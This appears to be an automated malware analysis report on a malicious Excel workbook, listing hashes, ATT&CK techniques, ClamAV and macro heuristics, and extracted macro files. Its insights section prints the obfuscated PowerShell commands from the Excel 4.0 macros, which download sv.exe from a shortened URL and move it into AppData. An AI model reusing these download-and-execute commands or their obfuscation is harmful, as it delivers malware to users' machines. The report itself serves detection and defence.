Office (OLE) / .XLS malware analysis — malicious · 4d22292a89f732c8

MALICIOUS

Office (OLE) / .XLS

80.5 KB Created: 2020-10-25 18:24:14 Authoring application: Microsoft Excel

MD5: 5e1f0204d18ec8a798c32fab734ebbad SHA-1: cceed55b277301f99faaae71c0f1079a88a35f2e SHA-256: 4d22292a89f732c84cda5a73114757167b13cd08127093a19ec6ed9bdc990394

140 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The file contains both VBA and Excel 4.0 macros. The Excel 4.0 macro at Macro!D128 reconstructs the command 'powershell -c pd C:\Users\Public\sv.exe -w 1 (nEw-oB`jecT Net.WebcL`IENt).('Down'+'loadFile')."Invoke"('https://tinyurl.com/yyhdq4cf','sv.exe')' which downloads 'sv.exe' from the provided tinyurl. The subsequent macro at Macro!D129 reconstructs 'powershell -c pd C:\Users\Public\sv.exe -w 1 stARt`-slE`Ep 20; Move-Item sv.exe -Destination "${enV`:appdata}"' to move the downloaded file to the user's AppData directory. The VBA auto_open macro also attempts to run a macro named 'ok', which likely triggers the XLM macros.

Heuristics 4

ClamAV: Xls.Malware.Abracadabra-10031695-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Malware.Abracadabra-10031695-0
Auto_Open macro high OLE_VBA_AUTO

Auto_Open macro
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `feaeafd78d005933fd78af6a48adaefc125403fe5c5cc7be4750836bd925bebc`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1391 bytes
`macros.bas` `2133881659cdf22dc22765731da7428e78dd1da96fd35db91904c5c4e922e8de`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	975 bytes

Open this report in the interactive analyzer, or submit your own file for analysis.